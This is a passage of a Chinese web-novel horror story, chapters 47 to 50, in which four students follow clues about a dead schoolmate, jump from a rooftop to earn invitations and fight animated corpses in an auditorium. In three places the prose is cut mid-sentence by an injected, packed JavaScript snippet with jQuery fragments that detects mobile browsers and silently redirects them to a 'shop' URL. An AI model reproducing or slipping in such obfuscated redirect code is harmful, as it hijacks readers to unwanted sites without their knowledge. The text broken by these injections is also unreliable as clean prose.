“加上之前那件事,当我问到她为什么不自己来取记忆时,她为什么能够抵挡我的技能效果?” “你怀疑方淮和副本有关?” 程映雪皱眉,只觉得她们此时身处遍布陷阱的漩涡之中,不可抗地朝着深渊而去。 47. 表里世界10 “你怀疑方淮和副本有关?” 舒怀瑾闻言颔首。自第二个副本采摘忍冬后,她已经多次莫名听见“忍冬”这个名字,又或是见到相关的幻影。忍冬像一个幽灵一般纠缠不休,而方淮看起来与忍冬有着千丝万缕的联系。 忍冬、方淮、问卷。这三者究竟是什么关系? 原本她以为方淮连着两个副本和她们相见不过是偶然。现在看来,方淮的接近或许是另有目的,她所提供的信息也未必真实。舒怀瑾贪生怕死惯了,一向是万分谨慎,能不惹事就不惹事。但如今事情已经自己找上门来,她不得不打起十二分的精神来对付它。 “你们还记得我们之前刷新到的那个举报链接吗?”舒怀瑾目光灼灼,“如果之后再遇见它的话,或许我们可以以方淮作为切入点,尝试输一些信息进去?” 程映雪:“比如说?” “还没想好。”舒怀瑾有些苦恼,“或许可以举报这个问卷造谣同学私人信息?” “唉……我们已知的信息真的太少了。”邓溪明垂下头,眼神有些黯淡。 江贮月神色变幻莫名,但话到嘴边还是吞了下去,只是反常地含糊出声:“……等这个副本结束以后,我想……和大家说一件事情。” 她在这个副本中总有一种强烈的被窥视感。不知隔墙是否有耳,有一个秘密,她不敢在这里说。 另外三人好奇心被勾起,但见她表情严肃,出于对她的信赖,只得压下求知欲不提。 虽说方淮已不可信,但来都来了,四人还是打算先找点线索再走,总不能空手而归。 阳光下金色的蝴蝶依旧不高不低地盘旋,似乎在示意此处有些什么。但四人就站在蝴蝶下,却什么东西都没有发现。 “是我们来的时机不对吗?”舒怀瑾目光紧随着蝴蝶撒下的鳞粉,它们均轻柔地落在了地上,“还是我们缺了开启特定场景的钥匙?” “钥匙”两字才刚落地,地面上便迅速浮现出一行字。 【里世界守则】 五、课堂以外,不可悬浮,不可坠落。不要听、不要看、不要成为。 四人围在一起,面面相觑。 程映雪:“这是把前面几条守则都跳了?” 江贮月:“应该是吧。但这句话是什么意思?” 邓溪明:“……什么谜语人守则?不许坠落我倒能和学生跳楼联系起来,什么叫不许悬浮?不允许上吊吗?” 有点道理。 “这一路来我们都是依靠蝴蝶指引的,到这儿才突然出现守则,所以我偏向于认为这里就是关键任务地点,而这个守则应该就是关于此处通关要求的。” 舒怀瑾一边说着,一边试图将自己看到的幻象和守则联系起来。 勒颈的卫生间,跳楼的忍冬……不要看,不要听,不要成为。 她分明已经看到了,也听到了,但目前并没有受到惩罚。 那么,接下来是——不要成为……什么? 不要成为上吊或者跳楼的人之一吗? 此时日头已经高高挂起,灼烫的日光正逐渐往西偏沉。下午和晚上还有两节实验课,留给她们思考的时间已经不多了。要想验证这条守则与通关条件的关系,恐怕只能明天再做打算。 四人将蝴蝶收回卡片中,便下楼前往食堂。她们的身影远去,而第七教学楼的拐角阴影处逐渐探出一个人影,面颊上勾勒出小小的酒窝。 …… 副本中食堂的饭不知道味道是否和现实世界里的食堂饭相同,但单从外观来看,里世界食堂里的食物还是在恶心人的造诣上更上一层楼。 眼球头发汤,美其名曰“绿云羊脂玉丸子”;指甲片煲心脏,又叫“拨弄心弦”;蜘蛛腿炒蜈蚣腿,还起了个诨名“体测神药”。总而言之,这食堂窗口里盛的东西,别说看了,光是闻上一闻,都得把前天肚里吞的东西呕出来。 好在四人背包里常备干粮,跑出食堂找了个干净地儿席地一坐,也勉强算是野餐了。 下午和晚上的实验课更是惊心动魄。植物叫嚷着拿刀追人,刀法快准狠可谓一绝;动物则是敞开着胸膛往四周喷出腐蚀性的血液,沉醉于学生们的惨叫之中。 四人身上挂了彩,但好在也是成功从实验课中生还,将课堂实验报告安全送达了老师的办公桌上。从实验室里出来之时已是晚上九点四十,月光薄薄地洒在地面上,辨认陷阱也变得愈发困难。舒怀瑾四人忙得焦头烂额,才终于赶在十点钟前抵达了宿舍门口,又根据学院发送的信息,通过自拍一张与月亮的合影回到了表世界。 世界又恢复了灰扑扑的模样,但当舒怀瑾掏出钥匙准备开门时,却发现宿舍门怎么都推不开。 宿舍门被人从内锁上了。 江贮月发现异常后,眼见着距离十点越来越近,不禁有些着急,攥着拳头就往门上“砰砰”捶了几下,大吼道:“谁在里面!” “哎呀呀,你们没死啊?” 门内的声音几乎近在咫尺,是孙嘉的声音。 “孙嘉,可以请你帮我们开一下门吗?”表世界守则依旧有效,因此程映雪秉持着先礼后兵的理念,还是敲了敲门。 孙嘉仿佛听到了什么天大的笑话一般,吃吃笑了起来:“当然不行,那么晚了,要是我开门后有不干净的东西溜进来了该怎么办?我好害怕呀。” 邓溪明暗骂一声:“上一天课还遇上这么个奇葩,烦死了!” 舒怀瑾此时已经拨通了宿管阿姨的电话,迅速解释了一番后,宿管阿姨又迈着豪迈的步伐来到了她们寝室门前。 “孙嘉同学,请你开门,否则我将向学院上报你的违纪行为,学院将对你处以对应的惩罚。” 孙嘉在门内听见“惩罚”两字,不由瑟缩了一下。她只恨时间过得太慢,只好咬牙将门打开,眼见着舒怀瑾四人回到了寝室之中。 待宿管阿姨走后,她冷哼一声:“只会求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593670|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外援,算什么本事?” 舒怀瑾摆弄着手机,笑得腼腆:“黑猫白猫,会抓老鼠就是好猫。再说了,您的手段也不光明呀。” “你!” 孙嘉一恼,也顾不得什么先前的忌惮了,拽起铁制的椅子就往舒怀瑾那边扔。 舒怀瑾侧身闪避,沉重的椅子堪堪擦着她的肩膀落下,在地上砸出巨大的声响。 “哎呀,老师您看,孙嘉她这都是第三次破坏学校公有资产了。” 孙嘉听见舒怀瑾说出“老师”二字,下意识往门口看去。但宿舍门紧闭,显然宿管阿姨早已下楼回到了值班室。她舒了一口气,嘲弄地看向舒怀瑾:“宿管阿姨都回去了,你还在这狐假虎威呢?” 但她这样一望,就望进了黑洞洞的摄像头里。舒怀瑾此时正拿着手机对准了她,手机屏幕上赫然是和辅导员的视频通话界面。 辅导员一脸倦意,但见到孙嘉摔椅子时显然是怒火上涌,还在手机屏幕上就对着孙嘉开炮了:“孙嘉,你眼里还有没有学校?说了多少次我们学院的资金很少,每一份物资都很珍贵,你三天两头的破坏东西做什么?” “老师,她还威胁我们不准说出去呢,我好害怕啊。能不能把她调出我们宿舍啊,我真怕她把咱们宿舍东西都砸了。”舒怀瑾在画外模拟出惨兮兮的哭音,还擤了两下鼻子,“您看最近这不是校园开放日吗?我们要是被她赶到外面去露宿街头,对学校的形象也不利啊。” “我哪里有……” 孙嘉刚想开口,就被辅导员的怒音打断。 “说得不错。孙嘉,你屡教不改,以前打打同学我也就睁一只眼闭一只眼了,现在还敢动学校资产,我看你是活得不耐烦了!” “从今天开始,剥夺你的住宿权利,请立即搬离宿舍!” 舒怀瑾见孙嘉正欲开口,又大声盖住了她的声音:“啊,我没听错吧?孙嘉同学,你已经不是我们的舍友了,请你现在立刻出去吧!” 马上就要到十点钟了,孙嘉心知此时出去的后果,一时怒极,也不管辅导员还看着了,双臂肌肉暴涨就朝舒怀瑾心口抓来。 要死,她也要找个人给她垫背! 但显然四人早有准备。舒怀瑾分毫未动,江贮月从侧面一记飞踢,孙嘉直接从邓溪明打开的门缝中飞了出去。 邓溪明眼疾手快地把门关上又倒锁,程映雪则是紧盯着手表叫道:“快上床!还有二十秒就要到十点钟了!” 程映雪将灯一关,宿舍中霎时黑暗一片。四人借着手机的光堪堪在最后一秒爬上了床,只听得门外敲门声愈发激烈。 “开门!开门!” 孙嘉在夜风中狂躁地呼喊着,到最后几乎是撕心裂肺。 “开开门好不好,求你们了,让我进去——啊!!!!!” 门外再没有孙嘉的声音了,只有野兽撕扯血肉的声音和液体流动的声音,像一湾暗潮翻涌的水潭般,吞没了所有呼吸声。 48. 表里世界11 这次的夜晚很快就过去了,但第二日课程表依旧是满课,课上老师更是精神攻击频出。按照这个课表上下去,舒怀瑾估摸着她们四人很快就要变成干尸了。没办法,四人只能硬生生捱过不签到就必死的第一节课后,趁着课间故技重施悄悄溜出教室。 为防止错过线索,四人还是决定先去文印中心看一眼。 当蝴蝶的鳞粉降落在舒怀瑾的眼下时,她的身旁再次出现了形形色色的人影。有人拿着厚厚一沓纸,有人则在打印机前百无聊赖地等待,一派再正常不过的打印店风景。 舒怀瑾的目光在来来往往的人中搜寻,终于在找到了熟悉的身影——方淮。她此时正拿着刚打印出来的文件,似乎是在查看是否有缺漏。 方淮微微垂着头,面容与她们见到的、真实的方淮并无二致。但不知是不是第六感的缘故,舒怀瑾总觉得她们身上的气质不甚相同。 或许是为了给后面要接着打印的人腾出位置,方淮站在一个偏僻的角落,头顶墙角处有一个布满蜘蛛网的摄像头。她专注地数着页数,余光却见有什么东西贴近了她的小腿。 她今日穿的是一条中长裙,约莫及膝下十公分左右;又因着这是在学校内的文印店,而校内安保普遍令人放心。所以,当她发现贴近自己小腿的是一只拿着手机的手时,一时间竟有些没反应过来。 方淮猛然一抬头。那只手的主人,一名身躯肥胖肿大的男性,也显然一惊,倏地就想把手抽回来。 她一下子什么都明白了,抓住那人的手便大喊起来:“有人偷拍!” 这声音像一颗石子,投入了人群的水池中,周围的人一下子向她看来。 见自己好事败露,偷拍者一下子有些慌张地扭动着不甚灵活的身躯,试图将手机上的照片删掉。 现场霎时间一片混乱,上前帮忙捉住偷拍犯者或夺手机者有之,背手看热闹者有之,出言嘲讽者更有之。 “叫那么大声干什么?又不是什么光彩事儿,影响别人不说,你自己都不害臊啊?” 沿着似曾相识的声音一望,幻影中的孙嘉正抱着一堆资料,皱眉朝方淮喊叫。 方淮冷冷撇了孙嘉一眼,转头先对帮助自己擒住偷拍犯的几人道了谢,随后接过那台手机,对偷拍犯怒道:“我认得你,你和我一个院的。辅导员马上就到,人赃并获,我看你怎么抵赖!” 舒怀瑾正等着看那偷拍犯怎样被制裁,却见幻影忽然在刹那间消退,地上浮现出新的守则。 【里世界守则】 四、学校的裁决是永远公平的、正义的、完美的,所有问题都可以在学校得到令大家满意的答复。 舒怀瑾看着这段守则,内心依旧沉浸在方才所见到的幻象中。 辅导员来了之后发生了什么?或者说,方淮跳楼和这段幻象所呈现的有关吗? 这段幻象格外的长,也是四段幻影里唯一一段能看出来事件起因的。如果能将它的后续补齐,再和前面几段幻影联系一下,或许就可以找出这个副本的真相了。 另外三名舍友对着新出现的守则讨论了一番,见舒怀瑾恢复清明,凑上来也将事情了解了个七七八八。 “就凭辅导员昨天晚上处理孙嘉那事,我不觉得那个偷拍犯得到了应有的惩罚。”江贮月语气中是不加掩饰的嫌恶。 程映雪叹了口气:“我也觉得。虽然现在是里世界,和表世界可能有所不同,但光从我们的经历来看,学校的行政完全比不上警察局可信,那条守则完全是睁眼说瞎话。所以她后来会是因为这件事才跳楼的吗?” 看着四周的环境,邓溪明灵光一现:“查查院内处分通告和新闻报刊吧。” 她们此时可是在文印中心,这里最不缺的就是能上网的电脑了。另外三人都觉得这个主意不错,于是一人一台电脑开始搜查着关键词。 然而,四人把通告和新闻按照时间顺序地毯式搜寻了个遍,也没能找到当年真相的蛛丝马迹。 “这不可能啊。哪怕那个偷拍犯的事情没被通报批评,网上再怎么说都应该会有方淮自杀的信息啊。”江贮月满腹疑虑,“难道方淮其实没死?” 舒怀瑾抬眼:“比起那个,我觉得更有可能是学校这边请了公关把事情压下去了。” 的确有这种可能,而且可能性很大。四人陷入沉默。 就在此时,原本歇在椅背上的金色蝴蝶忽然振翅朝文印中心外飞去。 四人赶忙跟上。眼前景色逐渐明朗,她们又随着蝴蝶来到了第七教学楼的顶楼。 与昨天仿佛凝滞住的空气不同,今天天台上的风大得仿佛台风刮过。四人互相搀扶着,边缘的江贮月死死扒住了防火门的门框,才勉强在大风中站稳。 在四人惊异的目光中,那只本应被掀飞的金蝶居然在狂风中不偏不倚地飞到了栏杆处。鳞粉落下,栏杆边缘逐渐蒙上一层灰色的薄雾。 程映雪迎着风勉强睁眼辨明那团灰雾:“方淮说装她记忆的容器就是灰色的,是不是就是那层东西?” “这也能叫容器?”邓溪明叫道,“这我们能拿吗?” “不好说,我来试试吧!” 江贮月从背包中取出一个大塑料袋和一根伸缩长棍,三下五除二做成了一个超长柄塑料兜,对准栏杆边缘就是一盖。兜子顺着栏杆蹭到地上,随后贴着地面被捞了回来。 四人蹲在地上围成一圈,小心翼翼地将塑料兜揭开一个角。 灰蒙蒙的雾气团成一小块球形,内里却不住翻涌着。 “看来你们已经找到了?可以把它给我了吧?” 方淮的声音陡然从下方传来。四人伸长脖子一看,方淮此时正站在顶楼与下一层之间的楼梯转角处,笑意盈盈地看向四人。 她看似神情放松,但倘若仔细观察,就可寻见她眉梢眼角的紧张。 毕竟,她曾在此处死过一次。那种灵魂撕裂至湮灭的痛感,她不想再亲临感受。 舒怀瑾:“你先告诉我们, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593671|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么样可以获得去毕业典礼的资格?” 舒怀瑾并不是不同情可能遭遇了不幸的方淮,只是就当下情况而言,同情与谨慎并不是不可兼得的两级。 方淮咬了咬牙,还是开口道:“从天台上跳下去。” 此言一出,舒怀瑾等四人均是一惊。 “你确定是在说参加毕业典礼的方法吗?”江贮月忍不住开口,“人从天台上跳下去不是会变成那种人不人鬼不鬼的活碎尸吗?” “会,但是只有跳下去了才能拿到毕业典礼的邀请函。”方淮蹙眉,“这就是我得到的全部信息了,信不信由你们。” 她伸出手:“现在,可以把我的记忆还给我了吗?” 舒怀瑾等四人交换眼神,最终还是将那团灰雾递了过去。 方淮脚步有些虚浮地上前两步,将灰雾一把拽过来,随后立即头也不回地快步离开了。 剩下四人大眼瞪小眼。 邓溪明吞了一口唾沫:“不是,你们信吗?” “我觉得,她说的很可能是真的。”舒怀瑾沉吟出声,“我们目前看到的里世界守则,似乎都是反话。” “第一条守则叫我们积极回答问题,但积极回答问题更容易受到惩罚。第四条守则更是离谱,居然敢说学校的裁决都是完美的。” 程映雪接上舒怀瑾的话:“所以,第二条守则也可能是和实际相反的?” “不要听,不要看,不要做。” “所以,我们要跳楼?”江贮月瞪大了眼睛,“要不再想想?这可不是闹着玩的。实在不行咱们去先试试上吊也行啊,毕竟前面还有个不要悬浮呢。” 舒怀瑾合掌:“实践出真知,但我不打头阵,谁来?” 江贮月:“……不是你还真要试啊?” 幸而时间还充裕,四人就地取材在楼梯间悬梁上挂了一件宽大的衣服,随后猜拳决定了谁来做这个“吊死鬼”。 不出所料,最非酋的舒怀瑾成功成为了这名幸运儿。 “我不想死呜呜呜呜……”舒怀瑾干哭着把头套进了宽绳环里,嘎嘣一声歪头吐了舌头。 “得了吧你,别浪费时间了,待会儿要上课了,早吊早超生。”邓溪明给她把梁上的绳结紧了紧,以防舒怀瑾半途摔下。 当然,真要死是不可能死的,拿自己的命去试错还是太荒谬了。说是上吊,其实舒怀瑾几乎全程都由下面的江贮月抱着,只是脖子套在绳环里罢了。 然而四人来来回回试了好几次,对照组也设置了,变量也控制了,却什么都没有发生,传闻中的邀请函更是影子都没见着。 舒怀瑾累得大汗淋漓,眼望着门外天台上狂风大作,忽然福至心灵:“这该不会得是在特定场景才能实现吧?比如我第一次遇见幻象的宿舍厕所?” 话是这么说,但此时四人再跑回宿舍的话,她们就来不及赶到下一个上课地点了。 邓溪明顺着她的目光看去:“那要不……我们先跳楼?” 49. 表里世界12 跳楼也是一门技术活,时间、天气、起跳方式、着陆地点、着陆姿势五因素都是决定成败的关键因素。 比如现在,四人在上课前十五分钟于大风中摇摇晃晃爬上天台栏杆,而楼下一片平平整整大水泥地,这就是一个很好的开头。 ……才怪,真的很危险啊! 她们想过利用江贮月的技能在楼下变出一个大气垫来作缓冲,但每次当她们将气垫放好后,都会有不知道从哪儿跑出来的碎尸活死人出来破坏她们的气垫。 如此两番下来,江贮月的变形技能次数就只剩下一次了。如果下一次她们还是没能成功保住气垫的话,恐怕今日她们就只能空手而归了。 无奈之下,四人只好剑行偏锋——先跳,再在半空中变出身下的气垫。为防止意外,邓溪明会时刻捏着罗汉铜像道具,如果情况不对,她就立即展开保护罩以避免四人受伤。 计划可行,四人深吸一口气,准备松手从栏杆上一跃而下。 “五……四……三……二……一……” “等等!”程映雪突然大喊,“这里毕竟是七楼,我……我害怕。” 舒怀瑾:“好巧啊,我也特别怕……” 邓溪明:“我也……” “不是你们说要跳的吗?”江贮月颇有些无语,“来都来了,就别磨叽了,赶紧跳吧。” “脚动不了了,我腿麻了。”程映雪快哭出来了,“要不你推我吧。” 舒怀瑾:“顺便推推我。” 邓溪明:“……也推推我。” 于是两秒以后,三人均被江贮月一把扫下了天台。江贮月后脚立即跟上,纵身一跃的同时将手中的东西向下甩出,并随即启动了技能。 巨大的气垫率先落在了地上,随后是舒怀瑾等四人先后掉入了气垫之中。 气垫弹性很好,四人是一点儿伤都没受到。但高空坠落的感觉就像是灵魂要挣扎着掀翻天灵盖来出窍,舒怀瑾、程映雪和邓溪明尚没反应过来,正呆愣在原地,就被江贮月拖离了现场。 “还愣?再愣那些碎尸又上来撕气垫了,小心把我们一起撕了。” 江贮月把三人提溜到了旁边,话音还没落,就见到一大群碎尸张牙舞爪地跑了过来。但这次他们居然对庞大的气垫视而不见,掉着腥臭的碎肉屑就直奔四人而来。 见此情景,三人激素飙升,头也不昏了,脑也不涨了,一个鲤鱼打挺就开始逃跑,速度竟是比提前反应过来的江贮月还要快上几分。 程映雪边跑边崩溃出声:“所以我们跳楼了还是什么都没发生啊——” “不!往好处想!我们至少多了一群拥趸者!”舒怀瑾跑得最快,嘴皮子也不肯闲下来,“就是模样磕碜了点,但好在专一嘛!” “碎尸你还要什么好模样啊!我真是……诶?”邓溪明怒喷舒怀瑾,却发现她的后颈上隐隐约约有一道红色的印子闪过,“怀瑾,你脖子上有纹身吗?” 舒怀瑾猛回头:“纹身?我没有啊!” 她奔跑的时候,后颈的高马尾辫扫来扫去,人又一直在动,所以邓溪明根本看不清那红色印子到底是什么东西。她将视线从舒怀瑾后颈处移开,环顾四周,只见四人跑着跑着就要到下一门课的上课地点,便提议道:“先到教室再说吧!快上课了!” 她们一路奔往教室,身后的碎尸也不遑多让,在后面紧紧相随,对路人更是一眼都不多看,全身心放在舒怀瑾四人身上。 直到四人进了教室,见讲台上的老师已经就位了,那些碎尸才堪堪在门前刹住了车,只有少数碎得不成样子的尸体缓缓地爬进了教室。 只剩下破碎骨架的碎尸朝着落座的四人顽强地伸出了手,想要拽住她们的衣角。精神值降低的警告才刚刚冒头,下一秒就连着碎尸一起被江贮月的棒球棍打散了形。这一棒下去,碎尸掉落了一地的碎骨头,没能再挣扎起来继续攻击。 讲台上上的老师撇了一眼这边的闹剧,又抬眼看了一眼表:“好了,同学们都安静下来,我们开始签到了。” 四人生死时速把签到解决了,就在课上开始办起正事了—— “你脖子上有一个小红印,旁边注释说,它是一枚好学生印章。”邓溪明掀起舒怀瑾的马尾辫,细细端详着这凭空出现在舒怀瑾身上的纹身。 【好学生印章】 你对于学业的辛勤研读与对学校声誉的倾力付出让全校教师为你骄傲,特此授予你本校学生最高荣誉。获得此印章的同学,请于今晚十点钟前往学校里世界大礼堂参加毕业典礼,并从校长手中接过毕业证书。切记,请勿迟到,请勿退缩! 祝:毕业愉快! “我有吗?我有吗?”程映雪赶忙掀起自己的马尾辫,让另外三人帮她看看。 四人互相看了一圈,所幸是全员皆有印章,印章旁还附了一张小小的邀请函,不禁都长抒一口气。 看来很快就可以逃离这个副本了。 “还真鸡贼啊这个副本,听课跳楼了才能有这个印章,但是人家都跳得脑浆摇匀了,根本看不到印在后脖子上这么个小东西,更别说用那种活死人状态去理解这段话了。”江贮月叹气。 “是很离谱……但这个时间,晚上十点,守则不是必须要我们关灯上床吗?”程映雪不解。 “十点钟关灯上床,那是表世界的守则吧?我们在里世界,表世界的守则应该管不到我们吧?”舒怀瑾托腮,“……应该吧?” “应该是吧,总不能让我们一人劈成两半。”江贮月道,“就按照这个邀请函上说的,去参加毕业典礼吧。” 另外三人点点头,等待夜幕的降临。 …… 夜里的学校不知道是为了省钱还是为了节电,灯光昏沉,让人在充满坑洞的路面上不得不深一脚浅一脚地走着,时刻还得提防路边有没有钻出来什么不明生物。 四人赶着夜路,乒乒乓乓打退了路上遇到的碎尸活死人,又鬼鬼祟祟探路绕路, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593672|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于来到了恢宏的大礼堂前。 礼堂中灯火通明,光芒从彩色玻璃窗中折射出来,如梦似幻,就像所有学生都梦想着的毕业日一样,带有一种天真的美好。 江贮月走上前,将大门轻轻推开一条小缝,随后骇然睁大了眼睛。 后面三人不明所以,凑上前来看,也惊讶得说不出话来。 礼堂里面,几乎全是碎尸活死人。 他们是自发寻路到这儿来的吗?还是说这种状态也能够拿到毕业证书达成通关条件呢? 她们不知道答案,也不知道进去之后会不会遭遇围攻。但按照印章所说,她们此时已经没有退路了。 原来不要退缩是这个意思。 茫茫尸海中,只见到一个身着西服、完整干净的人,手上拿着个红彤彤的本子,估摸着就是拿着毕业证书的校长了。 他站在宽阔的舞台上,周围围着一圈碎尸,但似乎并没有被攻击,也没有将毕业证书拿给碎尸们,只是怡然地站在那儿。 “我的变形技能次数也用完了,怎么办?”江贮月有些焦急。早知道今天跳楼的时候就应该早点实施planB,这样她们现在或许就可以变成碎尸蒙混过关了。 邓溪明垂首:“我的罗汉铜像只剩下一次抵消伤害的机会了。” “没事没事,一定还能有别的办法。”程映雪的河豚干同样在CD中,她看着一礼堂的碎尸,心中恶心害怕得快要吐出来,却还是勉强忍着,强迫自己镇静下来寻找生路,“我记得这些碎尸是能听懂人话的吧?也许我们可以先把他们引开,然后再去找校长要证书。” “引开?我想想。”江贮月在背包中翻找一番,终于拿出了一张道具卡片,“我上次得到的道具卡,还没用过,这次是不是能用上?” 【道具:偏见】 【简介:谁说我就是你们刻板印象中的样子?看好了,这才是真正的我! 使用此卡时,需要另一人对使用者说出一个他人常加诸于其身上的偏见,本卡将自动生成与偏见相反的随机道具。 使用者仅限于江贮月,消耗型道具,只有三次使用机会。】 “偏见……”邓溪明思索后抬头对江贮月道,“你是一个十分柔弱的女孩。” 加点力量吧,说不定原本就武力超群的江贮月加上这个道具就可以打遍天下无敌手呢? 但什么也没有发生。江贮月一身肌肉,一般来讲,有眼睛的都看得出来她不柔弱,所以这个偏见不成立。 没法加力量,那就只好从别的方面入手了。既然要引开能听懂人话的碎尸,说不定从声音入手会有些用? 舒怀瑾看向江贮月:“你的声音一定甜美娇软。” 实际上,江贮月的美貌经常让人误以为她声音细细如蚊嘤,因此还引来过不少心思龌龊的人,不过最后这些人都被她的肌肉吓跑了。因此,这个偏见是完全成立的。 四人盯着道具卡,只见卡片上流转过一道光芒—— 50. 表里世界13 光芒流转,江贮月的手心上出现了一个巨型黄铜喇叭。 “……就这?” 江贮月掂了掂这个略显沉重的喇叭,眼中失望之色尤甚。 她还以为是什么厉害道具呢,没想到是这么个随处可见的玩意儿。她大嗓门喊一声,估计也和这喇叭效果差不多吧? 但尽管如此,本着求真务实的精神,她还是把喇叭凑到了嘴边,试探性地轻轻用气音说了一个字。 “喂?” 谁成想这一声小小的“喂”从喇叭口里出来竟是穿云裂石,霎时间把离得近的舒怀瑾三人掀了个人仰马翻。 被掀翻在地上的舒怀瑾三人揉了揉发懵的脑袋:“啊?这喇叭无差别攻击啊?” 江贮月也对喇叭的效果颇为惊异,正打算再多研究研究一下,余光却瞄见门内的几个碎尸活死人缓缓向她们这边转过了头。 她心中一跳:坏了,刚刚的声音他们也听见了! 那几个碎尸视线——假如爆裂的眼球也能够视物的话——触及门外四人的瞬间,其中一个碎尸就大叫了起来。 “门外有人!门外有人!” 全场碎尸的目光顿时如聚光灯一样打在了门口四人身上,又蔫蔫地转了回去。 碎尸一扒拉了一下自己干瘪的眼袋:“得了吧,皮肤那么水润,一看就是还没毕业的,礼堂门都进不了,不着急。” 碎尸二把自己断掉的头扶正,嘴角露出污黄的牙齿:“嘻嘻,不知道什么时候就变得和我们一样了。” 情况好像和想象中的有点不一样?原本以为要开始大战一场的四人暂时把心放回了肚子里。 程映雪:“是不是只有我们进门了他们才会攻击我们?” 为了验证这一点,舒怀瑾悄悄将手指伸入了门缝之中。 她的手指尖才刚冒头,一个碎尸就猛回头盯住了她,目光灼灼仿佛要吃人。 “哎哎,奇怪,怎么进不去呢?”舒怀瑾讪笑着把手指缩回来,碎尸才缓缓撇了撇嘴,将头扭了回去。 再伸,碎尸再转头;缩回来,碎尸又扭回去。 如此反复后,舒怀瑾朝另外三人点点头。邓溪明当即开启全员加速技能,程映雪同时激活了一目叶技能,江贮月则握紧了手中的喇叭,瞬间奔至五十米开外,卯足了劲对准喇叭口大喊。 “我——毕——业——啦!啊——哈哈哈哈哈!” 声波如排山倒海一般朝着礼堂袭来,舒怀瑾等人则捂着耳朵闪身往承重柱后一躲一缩,堪堪受住了余波。 但大礼堂里面的碎尸毫无准备,一道声波过去直接震碎了两成,震晕了四成。剩下四成听见这句话和后面狂放的笑声,当即怒火中烧,眼睛霎时间变得通红,不管不顾地嘶吼着朝门外的江贮月飞奔而来。 “留下来!不许毕业——!” 江贮月见状拔腿就跑,头也不回地将一波碎尸带离了大礼堂。而躲在柱子后面的舒怀瑾三人趁此机会带着刚从背包中取出的棒球棍和移液枪,溜进了碎尸数量少了一大半的礼堂中。 一进到礼堂中,一股沉闷的死气就蒙上了三人的眼前。舒怀瑾和邓溪明的精神值开始以7点每分钟的惊人速度下降,而程映雪由于有技能加成,并未受到影响。 三人一合计,要想在抵达舞台之前精神值不跌破危险线,舒怀瑾和邓溪明只能将眼睛闭上,偶尔才能睁开眼睛观察周围一两秒。这么一来,舒怀瑾干脆就将移液枪交给了程映雪,由她来开路。 才走了没两步,先前被震晕的碎尸们摇摇晃晃着从地上爬起来,还没站稳就想要扑向眼前的三个活人。 程映雪顿时觉得肩上责任如山,牙一咬,心一横,不住颤抖的手端着移液枪就往四周疯狂扫荡,整个礼堂中都回荡着她大喊“我不想插枪头”的声音。 或许是因为程映雪尚未遭受过实验室太多的毒打,她打出来的枪头并不是先前会爆炸的那一类金色小枪头,而是体积相对较大但威力相对较小的蓝色枪头。 蓝色枪头勉强能够打穿碎尸的腐烂部分。但碎尸毕竟是碎尸,受到冲击后马上又摆正了姿态,卷土重来,拼了命地想抓住三人。 贴近后的碎尸对于精神值的影响程度更大,舒怀瑾和邓溪明几乎已经无法睁开眼睛,只能摸瞎对靠近她们的碎尸挥棍,战况胶着。 三人一时不察,一个碎尸欺身向前,森白的指节就要捅进舒怀瑾的眼眶中。 腐臭的味道充斥着舒怀瑾的鼻腔,她只觉得眼皮前袭上来一层阴翳,随即明白了自己的处境,抬手格挡不及,背脊倏忽间爬上一片寒意。 邓溪明闭着眼尚未觉察到不对劲,程映雪则自顾不暇。她如今是孤立无援,距离死亡只有一线之悬。 冰冷的指节触及她的眼皮,右眼珠已经被挤压得微微下陷,痛觉与晕眩从眼前传至大脑。就在这时,阴翳一滞,眼球上疼痛渐缓,不知是什么液体滴在了她的小臂上,凉得令人心惊。 “对……不……起……” 几乎带着哭腔的沙哑嗓音近在咫尺,随后话语像被掐住了喉咙一般戛然而止。舒怀瑾只感觉自己的眼球再次被重重下压,头痛欲裂到极点。 生死攸关之际,枪头破空之声传来,扎实地扎入她身前碎尸的血肉之中。程映雪双目通红,上前一把拉开中枪的碎尸,哆嗦着又转身击倒另一名扑上来的碎尸,回头哽咽道:“怀瑾,对不起,你还好吗?” 邓溪明猛然回头:“啊?怀瑾怎么了?” 虽然脑袋有些晕,眼睛受重压以后暂时也无法视物,但还活着就是好消息。舒怀瑾按了按太阳穴:“我没事!” 周围碎尸的声音越来越多,程映雪的技能时间也快要到了,这样下去她们迟早要被困死在原地。 最好的解决办法,是她们趁着程映雪还能直视碎尸的时候一鼓作气冲到舞台上。 三人想到一块儿去了。舒怀瑾才将想法说了几个字,另两人就表示了解了,当即背对背排 